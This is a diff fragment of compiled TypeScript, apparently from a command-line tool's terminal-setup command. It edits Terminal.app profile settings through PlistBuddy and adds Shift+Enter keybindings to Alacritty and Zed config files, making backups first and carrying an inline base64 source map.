+  // Quote the profile name to handle names with spaces (e.g., "Man Page", "Red Sands")
+  const {
+    code: addCode
+  } = await execFileNoThrow('/usr/libexec/PlistBuddy', ['-c', `Add :'Window Settings':'${profileName}':useOptionAsMetaKey bool true`, getTerminalPlistPath()]);
+
+  // If adding fails (likely because it already exists), try setting it instead
+  if (addCode !== 0) {
+    const {
+      code: setCode
+    } = await execFileNoThrow('/usr/libexec/PlistBuddy', ['-c', `Set :'Window Settings':'${profileName}':useOptionAsMetaKey true`, getTerminalPlistPath()]);
+    if (setCode !== 0) {
+      logError(new Error(`Failed to enable Option as Meta key for Terminal.app profile: ${profileName}`));
+      return false;
+    }
+  }
+  return true;
+}
+async function disableAudioBellForProfile(profileName: string): Promise<boolean> {
+  // First try to add the property (in case it doesn't exist)
+  // Quote the profile name to handle names with spaces (e.g., "Man Page", "Red Sands")
+  const {
+    code: addCode
+  } = await execFileNoThrow('/usr/libexec/PlistBuddy', ['-c', `Add :'Window Settings':'${profileName}':Bell bool false`, getTerminalPlistPath()]);
+
+  // If adding fails (likely because it already exists), try setting it instead
+  if (addCode !== 0) {
+    const {
+      code: setCode
+    } = await execFileNoThrow('/usr/libexec/PlistBuddy', ['-c', `Set :'Window Settings':'${profileName}':Bell false`, getTerminalPlistPath()]);
+    if (setCode !== 0) {
+      logError(new Error(`Failed to disable audio bell for Terminal.app profile: ${profileName}`));
+      return false;
+    }
+  }
+  return true;
+}
+
+// Enable Option as Meta key for Terminal.app
+async function enableOptionAsMetaForTerminal(theme: ThemeName): Promise<string> {
+  try {
+    // Create a backup of the current plist file
+    const backupPath = await backupTerminalPreferences();
+    if (!backupPath) {
+      throw new Error('Failed to create backup of Terminal.app preferences, bailing out');
+    }
+
+    // Read the current default profile from the plist
+    const {
+      stdout: defaultProfile,
+      code: readCode
+    } = await execFileNoThrow('defaults', ['read', 'com.apple.Terminal', 'Default Window Settings']);
+    if (readCode !== 0 || !defaultProfile.trim()) {
+      throw new Error('Failed to read default Terminal.app profile');
+    }
+    const {
+      stdout: startupProfile,
+      code: startupCode
+    } = await execFileNoThrow('defaults', ['read', 'com.apple.Terminal', 'Startup Window Settings']);
+    if (startupCode !== 0 || !startupProfile.trim()) {
+      throw new Error('Failed to read startup Terminal.app profile');
+    }
+    let wasAnyProfileUpdated = false;
+    const defaultProfileName = defaultProfile.trim();
+    const optionAsMetaEnabled = await enableOptionAsMetaForProfile(defaultProfileName);
+    const audioBellDisabled = await disableAudioBellForProfile(defaultProfileName);
+    if (optionAsMetaEnabled || audioBellDisabled) {
+      wasAnyProfileUpdated = true;
+    }
+    const startupProfileName = startupProfile.trim();
+
+    // Only proceed if the startup profile is different from the default profile
+    if (startupProfileName !== defaultProfileName) {
+      const startupOptionAsMetaEnabled = await enableOptionAsMetaForProfile(startupProfileName);
+      const startupAudioBellDisabled = await disableAudioBellForProfile(startupProfileName);
+      if (startupOptionAsMetaEnabled || startupAudioBellDisabled) {
+        wasAnyProfileUpdated = true;
+      }
+    }
+    if (!wasAnyProfileUpdated) {
+      throw new Error('Failed to enable Option as Meta key or disable audio bell for any Terminal.app profile');
+    }
+
+    // Flush the preferences cache
+    await execFileNoThrow('killall', ['cfprefsd']);
+    markTerminalSetupComplete();
+    return `${color('success', theme)(`Configured Terminal.app settings:`)}${EOL}${color('success', theme)('- Enabled "Use Option as Meta key"')}${EOL}${color('success', theme)('- Switched to visual bell')}${EOL}${chalk.dim('Option+Enter will now enter a newline.')}${EOL}${chalk.dim('You must restart Terminal.app for changes to take effect.', theme)}${EOL}`;
+  } catch (error) {
+    logError(error);
+
+    // Attempt to restore from backup
+    const restoreResult = await checkAndRestoreTerminalBackup();
+    const errorMessage = 'Failed to enable Option as Meta key for Terminal.app.';
+    if (restoreResult.status === 'restored') {
+      throw new Error(`${errorMessage} Your settings have been restored from backup.`);
+    } else if (restoreResult.status === 'failed') {
+      throw new Error(`${errorMessage} Restoring from backup failed, try manually with: defaults import com.apple.Terminal ${restoreResult.backupPath}`);
+    } else {
+      throw new Error(`${errorMessage} No backup was available to restore from.`);
+    }
+  }
+}
+async function installBindingsForAlacritty(theme: ThemeName): Promise<string> {
+  const ALACRITTY_KEYBINDING = `[[keyboard.bindings]]
+key = "Return"
+mods = "Shift"
+chars = "\\u001B\\r"`;
+
+  // Get Alacritty config file paths in order of preference
+  const configPaths: string[] = [];
+
+  // XDG config path (Linux and macOS)
+  const xdgConfigHome = process.env.XDG_CONFIG_HOME;
+  if (xdgConfigHome) {
+    configPaths.push(join(xdgConfigHome, 'alacritty', 'alacritty.toml'));
+  } else {
+    configPaths.push(join(homedir(), '.config', 'alacritty', 'alacritty.toml'));
+  }
+
+  // Windows-specific path
+  if (platform() === 'win32') {
+    const appData = process.env.APPDATA;
+    if (appData) {
+      configPaths.push(join(appData, 'alacritty', 'alacritty.toml'));
+    }
+  }
+
+  // Find existing config file by attempting to read it, or use first preferred path
+  let configPath: string | null = null;
+  let configContent = '';
+  let configExists = false;
+  for (const path of configPaths) {
+    try {
+      configContent = await readFile(path, {
+        encoding: 'utf-8'
+      });
+      configPath = path;
+      configExists = true;
+      break;
+    } catch (e: unknown) {
+      if (!isFsInaccessible(e)) throw e;
+      // File missing or inaccessible — try next config path
+    }
+  }
+
+  // If no config exists, use the first path (XDG/default location)
+  if (!configPath) {
+    configPath = configPaths[0] ?? null;
+  }
+  if (!configPath) {
+    throw new Error('No valid config path found for Alacritty');
+  }
+  try {
+    if (configExists) {
+      // Check if keybinding already exists (look for Shift+Return binding)
+      if (configContent.includes('mods = "Shift"') && configContent.includes('key = "Return"')) {
+        return `${color('warning', theme)('Found existing Alacritty Shift+Enter key binding. Remove it to continue.')}${EOL}${chalk.dim(`See ${formatPathLink(configPath)}`)}${EOL}`;
+      }
+
+      // Create backup
+      const randomSha = randomBytes(4).toString('hex');
+      const backupPath = `${configPath}.${randomSha}.bak`;
+      try {
+        await copyFile(configPath, backupPath);
+      } catch {
+        return `${color('warning', theme)('Error backing up existing Alacritty config. Bailing out.')}${EOL}${chalk.dim(`See ${formatPathLink(configPath)}`)}${EOL}${chalk.dim(`Backup path: ${formatPathLink(backupPath)}`)}${EOL}`;
+      }
+    } else {
+      // Ensure config directory exists (idempotent with recursive)
+      await mkdir(dirname(configPath), {
+        recursive: true
+      });
+    }
+
+    // Add the keybinding to the config
+    let updatedContent = configContent;
+    if (configContent && !configContent.endsWith('\n')) {
+      updatedContent += '\n';
+    }
+    updatedContent += '\n' + ALACRITTY_KEYBINDING + '\n';
+
+    // Write the updated config
+    await writeFile(configPath, updatedContent, {
+      encoding: 'utf-8'
+    });
+    return `${color('success', theme)('Installed Alacritty Shift+Enter key binding')}${EOL}${color('success', theme)('You may need to restart Alacritty for changes to take effect')}${EOL}${chalk.dim(`See ${formatPathLink(configPath)}`)}${EOL}`;
+  } catch (error) {
+    logError(error);
+    throw new Error('Failed to install Alacritty Shift+Enter key binding');
+  }
+}
+async function installBindingsForZed(theme: ThemeName): Promise<string> {
+  // Zed uses JSON keybindings similar to VSCode
+  const zedDir = join(homedir(), '.config', 'zed');
+  const keymapPath = join(zedDir, 'keymap.json');
+  try {
+    // Ensure zed directory exists (idempotent with recursive)
+    await mkdir(zedDir, {
+      recursive: true
+    });
+
+    // Read existing keymap file, or default to empty array if it doesn't exist
+    let keymapContent = '[]';
+    let fileExists = false;
+    try {
+      keymapContent = await readFile(keymapPath, {
+        encoding: 'utf-8'
+      });
+      fileExists = true;
+    } catch (e: unknown) {
+      if (!isFsInaccessible(e)) throw e;
+    }
+    if (fileExists) {
+      // Check if keybinding already exists
+      if (keymapContent.includes('shift-enter')) {
+        return `${color('warning', theme)('Found existing Zed Shift+Enter key binding. Remove it to continue.')}${EOL}${chalk.dim(`See ${formatPathLink(keymapPath)}`)}${EOL}`;
+      }
+
+      // Create backup
+      const randomSha = randomBytes(4).toString('hex');
+      const backupPath = `${keymapPath}.${randomSha}.bak`;
+      try {
+        await copyFile(keymapPath, backupPath);
+      } catch {
+        return `${color('warning', theme)('Error backing up existing Zed keymap. Bailing out.')}${EOL}${chalk.dim(`See ${formatPathLink(keymapPath)}`)}${EOL}${chalk.dim(`Backup path: ${formatPathLink(backupPath)}`)}${EOL}`;
+      }
+    }
+
+    // Parse and modify the keymap
+    let keymap: Array<{
+      context?: string;
+      bindings: Record<string, string | string[]>;
+    }>;
+    try {
+      keymap = jsonParse(keymapContent);
+      if (!Array.isArray(keymap)) {
+        keymap = [];
+      }
+    } catch {
+      keymap = [];
+    }
+
+    // Add the new keybinding for terminal context
+    keymap.push({
+      context: 'Terminal',
+      bindings: {
+        'shift-enter': ['terminal::SendText', '\u001b\r']
+      }
+    });
+
+    // Write the updated keymap
+    await writeFile(keymapPath, jsonStringify(keymap, null, 2) + '\n', {
+      encoding: 'utf-8'
+    });
+    return `${color('success', theme)('Installed Zed Shift+Enter key binding')}${EOL}${chalk.dim(`See ${formatPathLink(keymapPath)}`)}${EOL}`;
+  } catch (error) {
+    logError(error);
+    throw new Error('Failed to install Zed Shift+Enter key binding');
+  }
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJjaGFsayIsInJhbmRvbUJ5dGVzIiwiY29weUZpbGUiLCJta2RpciIsInJlYWRGaWxlIiwid3JpdGVGaWxlIiwiaG9tZWRpciIsInBsYXRmb3JtIiwiZGlybmFtZSIsImpvaW4iLCJUaGVtZU5hbWUiLCJwYXRoVG9GaWxlVVJMIiwic3VwcG9ydHNIeXBlcmxpbmtzIiwiY29sb3IiLCJtYXliZU1hcmtQcm9qZWN0T25ib2FyZGluZ0NvbXBsZXRlIiwiVG9vbFVzZUNvbnRleHQiLCJMb2NhbEpTWENvbW1hbmRDb250ZXh0IiwiTG9jYWxKU1hDb21tYW5kT25Eb25lIiwiYmFja3VwVGVybWluYWxQcmVmZXJlbmNlcyIsImNoZWNrQW5kUmVzdG9yZVRlcm1pbmFsQmFja3VwIiwiZ2V0VGVybWluYWxQbGlzdFBhdGgiLCJtYXJrVGVybWluYWxTZXR1cENvbXBsZXRlIiwic2V0dXBTaGVsbENvbXBsZXRpb24iLCJnZXRHbG9iYWxDb25maWciLCJzYXZlR2xvYmFsQ29uZmlnIiwiZW52IiwiaXNGc0luYWNjZXNzaWJsZSIsImV4ZWNGaWxlTm9UaHJvdyIsImFkZEl0ZW1Ub0pTT05DQXJyYXkiLCJzYWZlUGFyc2VKU09OQyIsImxvZ0Vycm9yIiwiZ2V0UGxhdGZvcm0iLCJqc29uUGFyc2UiLCJqc29uU3RyaW5naWZ5IiwiRU9MIiwiTkFUSVZFX0NTSVVfVEVSTUlOQUxTIiwiUmVjb3JkIiwiZ2hvc3R0eSIsImtpdHR5IiwiV2V6VGVybSIsIldhcnBUZXJtaW5hbCIsImlzVlNDb2RlUmVtb3RlU1NIIiwiYXNrcGFzc01haW4iLCJwcm9jZXNzIiwiVlNDT0RFX0dJVF9BU0tQQVNTX01BSU4iLCJwYXRoIiwiUEFUSCIsImluY2x1ZGVzIiwiZ2V0TmF0aXZlQ1NJdVRlcm1pbmFsRGlzcGxheU5hbWUiLCJ0ZXJtaW5hbCIsImZvcm1hdFBhdGhMaW5rIiwiZmlsZVBhdGgiLCJmaWxlVXJsIiwiaHJlZiIsInNob3VsZE9mZmVyVGVybWluYWxTZXR1cCIsInNldHVwVGVybWluYWwiLCJ0aGVtZSIsIlByb21pc2UiLCJyZXN1bHQiLCJlbmFibGVPcHRpb25Bc01ldGFGb3JUZXJtaW5hbCIsImluc3RhbGxCaW5kaW5nc0ZvclZTQ29kZVRlcm1pbmFsIiwiaW5zdGFsbEJpbmRpbmdzRm9yQWxhY3JpdHR5IiwiaW5zdGFsbEJpbmRpbmdzRm9yWmVkIiwiY3VycmVudCIsInNoaWZ0RW50ZXJLZXlCaW5kaW5nSW5zdGFsbGVkIiwib3B0aW9uQXNNZXRhS2V5SW5zdGFsbGVkIiwiaXNTaGlmdEVudGVyS2V5QmluZGluZ0luc3RhbGxlZCIsImhhc1VzZWRCYWNrc2xhc2hSZXR1cm4iLCJtYXJrQmFja3NsYXNoUmV0dXJuVXNlZCIsImNvbmZpZyIsImNhbGwiLCJvbkRvbmUiLCJjb250ZXh0IiwiX2FyZ3MiLCJtZXNzYWdlIiwidGVybWluYWxOYW1lIiwiY3VycmVudFBsYXRmb3JtIiwicGxhdGZvcm1UZXJtaW5hbHMiLCJkaW0iLCJvcHRpb25zIiwiVlNDb2RlS2V5YmluZGluZyIsImtleSIsImNvbW1hbmQiLCJhcmdzIiwidGV4dCIsIndoZW4iLCJlZGl0b3IiLCJlZGl0b3JEaXIiLCJ1c2VyRGlyUGF0aCIsImtleWJpbmRpbmdzUGF0aCIsInJlY3Vyc2l2ZSIsImNvbnRlbnQiLCJrZXliaW5kaW5ncyIsImZpbGVFeGlzdHMiLCJlbmNvZGluZyIsImUiLCJyYW5kb21TaGEiLCJ0b1N0cmluZyIsImJhY2t1cFBhdGgiLCJleGlzdGluZ0JpbmRpbmciLCJmaW5kIiwiYmluZGluZyIsIm5ld0tleWJpbmRpbmciLCJ1cGRhdGVkQ29udGVudCIsImVycm9yIiwiRXJyb3IiLCJlbmFibGVPcHRpb25Bc01ldGFGb3JQcm9maWxlIiwicHJvZmlsZU5hbWUiLCJjb2RlIiwiYWRkQ29kZSIsInNldENvZGUiLCJkaXNhYmxlQXVkaW9CZWxsRm9yUHJvZmlsZSIsInN0ZG91dCIsImRlZmF1bHRQcm9maWxlIiwicmVhZENvZGUiLCJ0cmltIiwic3RhcnR1cFByb2ZpbGUiLCJzdGFydHVwQ29kZSIsIndhc0FueVByb2ZpbGVVcGRhdGVkIiwiZGVmYXVsdFByb2ZpbGVOYW1lIiwib3B0aW9uQXNNZXRhRW5hYmxlZCIsImF1ZGlvQmVsbERpc2FibGVkIiwic3RhcnR1cFByb2ZpbGVOYW1lIiwic3RhcnR1cE9wdGlvbkFzTWV0YUVuYWJsZWQiLCJzdGFydHVwQXVkaW9CZWxsRGlzYWJsZWQiLCJyZXN0b3JlUmVzdWx0IiwiZXJyb3JNZXNzYWdlIiwic3RhdHVzIiwiQUxBQ1JJVFRZX0tFWUJJTkRJTkciLCJjb25maWdQYXRocyIsInhkZ0NvbmZpZ0hvbWUiLCJYREdfQ09ORklHX0hPTUUiLCJwdXNoIiwiYXBwRGF0YSIsIkFQUERBVEEiLCJjb25maWdQYXRoIiwiY29uZmlnQ29udGVudCIsImNvbmZpZ0V4aXN0cyIsImVuZHNXaXRoIiwiemVkRGlyIiwia2V5bWFwUGF0aCIsImtleW1hcENvbnRlbnQiLCJrZXltYXAiLCJBcnJheSIsImJpbmRpbmdzIiwiaXNBcnJheSJdLCJzb3VyY2VzIjpbInRlcm1pbmFsU2V0dXAudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBjaGFsayBmcm9tICdjaGFsaydcbmltcG9ydCB7IHJhbmRvbUJ5dGVzIH0gZnJvbSAnY3J5cHRvJ1xuaW1wb3J0IHsgY29weUZpbGUsIG1rZGlyLCByZWFkRmlsZSwgd3JpdGVGaWxlIH0gZnJvbSAnZnMvcHJvbWlzZXMnXG5pbXBvcnQgeyBob21lZGlyLCBwbGF0Zm9ybSB9IGZyb20gJ29zJ1xuaW1wb3J0IHsgZGlybmFtZSwgam9pbiB9IGZyb20gJ3BhdGgnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJ3NyYy91dGlscy90aGVtZS5qcydcbmltcG9ydCB7IHBhdGhUb0ZpbGVVUkwgfSBmcm9tICd1cmwnXG5pbXBvcnQgeyBzdXBwb3J0c0h5cGVybGlua3MgfSBmcm9tICcuLi8uLi9pbmsvc3VwcG9ydHMtaHlwZXJsaW5rcy5qcydcbmltcG9ydCB7IGNvbG9yIH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHsgbWF5YmVNYXJrUHJvamVjdE9uYm9hcmRpbmdDb21wbGV0ZSB9IGZyb20gJy4uLy4uL3Byb2plY3RPbmJvYXJkaW5nU3RhdGUuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xVc2VDb250ZXh0IH0gZnJvbSAnLi4vLi4vVG9vbC5qcydcbmltcG9ydCB0eXBlIHtcbiAgTG9jYWxKU1hDb21tYW5kQ29udGV4dCxcbiAgTG9jYWxKU1hDb21tYW5kT25Eb25lLFxufSBmcm9tICcuLi8uLi90eXBlcy9jb21tYW5kLmpzJ1xuaW1wb3J0IHtcbiAgYmFja3VwVGVybWluYWxQcmVmZXJlbmNlcyxcbiAgY2hlY2tBbmRSZXN0b3JlVGVybWluYWxCYWNrdXAsXG4gIGdldFRlcm1pbmFsUGxpc3RQYXRoLFxuICBtYXJrVGVybWluYWxTZXR1cENvbXBsZXRlLFxufSBmcm9tICcuLi8uLi91dGlscy9hcHBsZVRlcm1pbmFsQmFja3VwLmpzJ1xuaW1wb3J0IHsgc2V0dXBTaGVsbENvbXBsZXRpb24gfSBmcm9tICcuLi8uLi91dGlscy9jb21wbGV0aW9uQ2FjaGUuanMnXG5pbXBvcnQgeyBnZXRHbG9iYWxDb25maWcsIHNhdmVHbG9iYWxDb25maWcgfSBmcm9tICcuLi8uLi91dGlscy9jb25maWcuanMnXG5pbXBvcnQgeyBlbnYgfSBmcm9tICcuLi8uLi91dGlscy9lbnYuanMnXG5pbXBvcnQgeyBpc0ZzSW5hY2Nlc3NpYmxlIH0gZnJvbSAnLi4vLi4vdXRpbHMvZXJyb3JzLmpzJ1xuaW1wb3J0IHsgZXhlY0ZpbGVOb1Rocm93IH0gZnJvbSAnLi4vLi4vdXRpbHMvZXhlY0ZpbGVOb1Rocm93LmpzJ1xuaW1wb3J0IHsgYWRkSXRlbVRvSlNPTkNBcnJheSwgc2FmZVBhcnNlSlNPTkMgfSBmcm9tICcuLi8uLi91dGlscy9qc29uLmpzJ1xuaW1wb3J0IHsgbG9nRXJyb3IgfSBmcm9tICcuLi8uLi91dGlscy9sb2cuanMnXG5pbXBvcnQgeyBnZXRQbGF0Zm9ybSB9IGZyb20gJy4uLy4uL3V0aWxzL3BsYXRmb3JtLmpzJ1xuaW1wb3J0IHsganNvblBhcnNlLCBqc29uU3RyaW5naWZ5IH0gZnJvbSAnLi4vLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5cbmNvbnN0IEVPTCA9ICdcXG4nXG5cbi8vIFRlcm1pbmFscyB0aGF0IG5hdGl2ZWx5IHN1cHBvcnQgQ1NJIHUgLyBLaXR0eSBrZXlib2FyZCBwcm90b2NvbFxuY29uc3QgTkFUSVZFX0NTSVVfVEVSTUlOQUxTOiBSZWNvcmQ8c3RyaW5nLCBzdHJpbmc+ID0ge1xuICBnaG9zdHR5OiAnR2hvc3R0eScsXG4gIGtpdHR5OiAnS2l0dHknLFxuICAnaVRlcm0uYXBwJzogJ2lUZXJtMicsXG4gIFdlelRlcm06ICdXZXpUZXJtJyxcbiAgV2FycFRlcm1pbmFsOiAnV2FycCcsXG59XG5cbi8qKlxuICogRGV0ZWN0IGlmIHdlJ3JlIHJ1bm5pbmcgaW4gYSBWU0NvZGUgUmVtb3RlIFNTSCBzZXNzaW9uLlxuICogSW4gdGhpcyBjYXNlLCBrZXliaW5kaW5ncyBuZWVkIHRvIGJlIGluc3RhbGxlZCBvbiB0aGUgTE9DQUwgbWFjaGluZSxcbiAqIG5vdCB0aGUgcmVtb3RlIHNlcnZlciB3aGVyZSBDbGF1ZGUgaXMgcnVubmluZy5cbiAqL1xuZnVuY3Rpb24gaXNWU0NvZGVSZW1vdGVTU0goKTogYm9vbGVhbiB7XG4gIGNvbnN0IGFza3Bhc3NNYWluID0gcHJvY2Vzcy5lbnYuVlNDT0RFX0dJVF9BU0tQQVNTX01BSU4gPz8gJydcbiAgY29uc3QgcGF0aCA9IHByb2Nlc3MuZW52LlBBVEggPz8gJydcblxuICAvLyBDaGVjayBib3RoIGVudiB2YXJzIC0gVlNDT0RFX0dJVF9BU0tQQVNTX01BSU4gaXMgbW9yZSByZWxpYWJsZSB3aGVuIGdpdCBleHRlbnNpb25cbiAgLy8gaXMgYWN0aXZlLCBhbmQgUEFUSCBpcyBhIGZhbGxiYWNrLiBPbWl0IHBhdGggc2VwYXJhdG9yIGZvciBXaW5kb3dzIGNvbXBhdGliaWxpdHkuXG4gIHJldHVybiAoXG4gICAgYXNrcGFzc01haW4uaW5jbHVkZXMoJy52c2NvZGUtc2VydmVyJykgfHxcbiAgICBhc2twYXNzTWFpbi5pbmNsdWRlcygnLmN1cnNvci1zZXJ2ZXInKSB8fFxuICAgIGFza3Bhc3NNYWluLmluY2x1ZGVzKCcud2luZHN1cmYtc2VydmVyJykgfHxcbiAgICBwYXRoLmluY2x1ZGVzKCcudnNjb2RlLXNlcnZlcicpIHx8XG4gICAgcGF0aC5pbmNsdWRlcygnLmN1cnNvci1zZXJ2ZXInKSB8fFxuICAgIHBhdGguaW5jbHVkZXMoJy53aW5kc3VyZi1zZXJ2ZXInKVxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXROYXRpdmVDU0l1VGVybWluYWxEaXNwbGF5TmFtZSgpOiBzdHJpbmcgfCBudWxsIHtcbiAgaWYgKCFlbnYudGVybWluYWwgfHwgIShlbnYudGVybWluYWwgaW4gTkFUSVZFX0NTSVVfVEVSTUlOQUxTKSkge1xuICAgIHJldHVybiBudWxsXG4gIH1cbiAgcmV0dXJuIE5BVElWRV9DU0lVX1RFUk1JTkFMU1tlbnYudGVybWluYWxdID8/IG51bGxcbn1cblxuLyoqXG4gKiBGb3JtYXQgYSBmaWxlIHBhdGggYXMgYSBjbGlja2FibGUgaHlwZXJsaW5rLlxuICpcbiAqIFBhdGhzIGNvbnRhaW5pbmcgc3BhY2VzIChlLmcuLCBcIkFwcGxpY2F0aW9uIFN1cHBvcnRcIikgYXJlIG5vdCBjbGlja2FibGVcbiAqIGluIG1vc3QgdGVybWluYWxzIC0gdGhleSBnZXQgc3BsaXQgYXQgdGhlIHNwYWNlLiBPU0MgOCBoeXBlcmxpbmtzIHNvbHZlXG4gKiB0aGlzIGJ5IGVtYmVkZGluZyBhIGZpbGU6Ly8gVVJMIHRoYXQgdGhlIHRlcm1pbmFsIGNhbiBvcGVuIG9uIGNsaWNrLFxuICogd2hpbGUgZGlzcGxheWluZyB0aGUgY2xlYW4gcGF0aCB0byB0aGUgdXNlci5cbiAqXG4gKiBVbmxpa2UgY3JlYXRlSHlwZXJsaW5rKCksIHRoaXMgZG9lc24ndCBhcHBseSBhbnkgY29sb3Igc3R5bGluZyBzbyB0aGVcbiAqIHBhdGggaW5oZXJpdHMgdGhlIHBhcmVudCdzIHN0eWxpbmcgKGUuZy4sIGNoYWxrLmRpbSkuXG4gKi9cbmZ1bmN0aW9uIGZvcm1hdFBhdGhMaW5rKGZpbGVQYXRoOiBzdHJpbmcpOiBzdHJpbmcge1xuICBpZiAoIXN1cHBvcnRzSHlwZXJsaW5rcygpKSB7XG4gICAgcmV0dXJuIGZpbGVQYXRoXG4gIH1cbiAgY29uc3QgZmlsZVVybCA9IHBhdGhUb0ZpbGVVUkwoZmlsZVBhdGgpLmhyZWZcbiAgLy8gT1NDIDggaHlwZXJsaW5rOiBcXGVdODs7VVJMXFxhIFRFWFQgXFxlXTg7O1xcYVxuICByZXR1cm4gYFxceDFiXTg7OyR7ZmlsZVVybH1cXHgwNyR7ZmlsZVBhdGh9XFx4MWJdODs7XFx4MDdgXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBzaG91bGRPZmZlclRlcm1pbmFsU2V0dXAoKTogYm9vbGVhbiB7XG4gIC8vIGlUZXJtMiwgV2V6VGVybSwgR2hvc3R0eSwgS2l0dHksIGFuZCBXYXJwIG5hdGl2ZWx5IHN1cHBvcnQgQ1NJIHUgLyBLaXR0eVxuICAvLyBrZXlib2FyZCBwcm90b2NvbCwgd2hpY2ggQ2xhdWRlIENvZGUgYWxyZWFkeSBwYXJzZXMuIE5vIHNldHVwIG5lZWRlZCBmb3JcbiAgLy8gdGhlc2UgdGVybWluYWxzLlxuICByZXR1cm4gKFxuICAgIChwbGF0Zm9ybSgpID09PSAnZGFyd2luJyAmJiBlbnYudGVybWluYWwgPT09ICdBcHBsZV9UZXJtaW5hbCcpIHx8XG4gICAgZW52LnRlcm1pbmFsID09PSAndnNjb2RlJyB8fFxuICAgIGVudi50ZXJtaW5hbCA9PT0gJ2N1cnNvcicgfHxcbiAgICBlbnYudGVybWluYWwgPT09ICd3aW5kc3VyZicgfHxcbiAgICBlbnYudGVybWluYWwgPT09ICdhbGFjcml0dHknIHx8XG4gICAgZW52LnRlcm1pbmFsID09PSAnemVkJ1xuICApXG59XG5cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiBzZXR1cFRlcm1pbmFsKHRoZW1lOiBUaGVtZU5hbWUpOiBQcm9taXNlPHN0cmluZz4ge1xuICBsZXQgcmVzdWx0ID0gJydcblxuICBzd2l0Y2ggKGVudi50ZXJtaW5hbCkge1xuICAgIGNhc2UgJ0FwcGxlX1Rlcm1pbmFsJzpcbiAgICAgIHJlc3VsdCA9IGF3YWl0IGVuYWJsZU9wdGlvbkFzTWV0YUZvclRlcm1pbmFsKHRoZW1lKVxuICAgICAgYnJlYWtcbiAgICBjYXNlICd2c2NvZGUnOlxuICAgICAgcmVzdWx0ID0gYXdhaXQgaW5zdGFsbEJpbmRpbmdzRm9yVlNDb2RlVGVybWluYWwoJ1ZTQ29kZScsIHRoZW1lKVxuICAgICAgYnJlYWtcbiAgICBjYXNlICdjdXJzb3InOlxuICAgICAgcmVzdWx0ID0gYXdhaXQgaW5zdGFsbEJpbmRpbmdzRm9yVlNDb2RlVGVybWluYWwoJ0N1cnNvcicsIHRoZW1lKVxuICAgICAgYnJlYWtcbiAgICBjYXNlICd3aW5kc3VyZic6XG4gICAgICByZXN1bHQgPSBhd2FpdCBpbnN0YWxsQmluZGluZ3NGb3JWU0NvZGVUZXJtaW5hbCgnV2luZHN1cmYnLCB0aGVtZSlcbiAgICAgIGJyZWFrXG4gICAgY2FzZSAnYWxhY3JpdHR5JzpcbiAgICAgIHJlc3VsdCA9IGF3YWl0IGluc3RhbGxCaW5kaW5nc0ZvckFsYWNyaXR0eSh0aGVtZSlcbiAgICAgIGJyZWFrXG4gICAgY2FzZSAnemVkJzpcbiAgICAgIHJlc3VsdCA9IGF3YWl0IGluc3RhbGxCaW5kaW5nc0ZvclplZCh0aGVtZSlcbiAgICAgIGJyZWFrXG4gICAgY2FzZSBudWxsOlxuICAgICAgYnJlYWtcbiAgfVxuXG4gIHNhdmVHbG9iYWxDb25maWcoY3VycmVudCA9PiB7XG4gICAgaWYgKFxuICAgICAgWyd2c2NvZGUnLCAnY3Vyc29yJywgJ3dpbmRzdXJmJywgJ2FsYWNyaXR0eScsICd6ZWQnXS5pbmNsdWRlcyhcbiAgICAgICAgZW52LnRlcm1pbmFsID8/ICcnLFxuICAgICAgKVxuICAgICkge1xuICAgICAgaWYgKGN1cnJlbnQuc2hpZnRFbnRlcktleUJpbmRpbmdJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybiBjdXJyZW50XG4gICAgICByZXR1cm4geyAuLi5jdXJyZW50LCBzaGlmdEVudGVyS2V5QmluZGluZ0luc3RhbGxlZDogdHJ1ZSB9XG4gICAgfSBlbHNlIGlmIChlbnYudGVybWluYWwgPT09ICdBcHBsZV9UZXJtaW5hbCcpIHtcbiAgICAgIGlmIChjdXJyZW50Lm9wdGlvbkFzTWV0YUtleUluc3RhbGxlZCA9PT0gdHJ1ZSkgcmV0dXJuIGN1cnJlbnRcbiAgICAgIHJldHVybiB7IC4uLmN1cnJlbnQsIG9wdGlvbkFzTWV0YUtleUluc3RhbGxlZDogdHJ1ZSB9XG4gICAgfVxuICAgIHJldHVybiBjdXJyZW50XG4gIH0pXG5cbiAgbWF5YmVNYXJrUHJvamVjdE9uYm9hcmRpbmdDb21wbGV0ZSgpXG5cbiAgLy8gSW5zdGFsbCBzaGVsbCBjb21wbGV0aW9ucyAoYW50LW9ubHksIHNpbmNlIHRoZSBjb21wbGV0aW9uIGNvbW1hbmQgaXMgYW50LW9ubHkpXG4gIGlmIChcImV4dGVybmFsXCIgPT09ICdhbnQnKSB7XG4gICAgcmVzdWx0ICs9IGF3YWl0IHNldHVwU2hlbGxDb21wbGV0aW9uKHRoZW1lKVxuICB9XG5cbiAgcmV0dXJuIHJlc3VsdFxufVxuXG5leHBvcnQgZnVuY3Rpb24gaXNTaGlmdEVudGVyS2V5QmluZGluZ0luc3RhbGxlZCgpOiBib29sZWFuIHtcbiAgcmV0dXJuIGdldEdsb2JhbENvbmZpZygpLnNoaWZ0RW50ZXJLZXlCaW5kaW5nSW5zdGFsbGVkID09PSB0cnVlXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBoYXNVc2VkQmFja3NsYXNoUmV0dXJuKCk6IGJvb2xlYW4ge1xuICByZXR1cm4gZ2V0R2xvYmFsQ29uZmlnKCkuaGFzVXNlZEJhY2tzbGFzaFJldHVybiA9PT0gdHJ1ZVxufVxuXG5leHBvcnQgZnVuY3Rpb24gbWFya0JhY2tzbGFzaFJldHVyblVzZWQoKTogdm9pZCB7XG4gIGNvbnN0IGNvbmZpZyA9IGdldEdsb2JhbENvbmZpZygpXG4gIGlmICghY29uZmlnLmhhc1VzZWRCYWNrc2xhc2hSZXR1cm4pIHtcbiAgICBzYXZlR2xvYmFsQ29uZmlnKGN1cnJlbnQgPT4gKHtcbiAgICAgIC4uLmN1cnJlbnQsXG4gICAgICBoYXNVc2VkQmFja3NsYXNoUmV0dXJuOiB0cnVlLFxuICAgIH0pKVxuICB9XG59XG5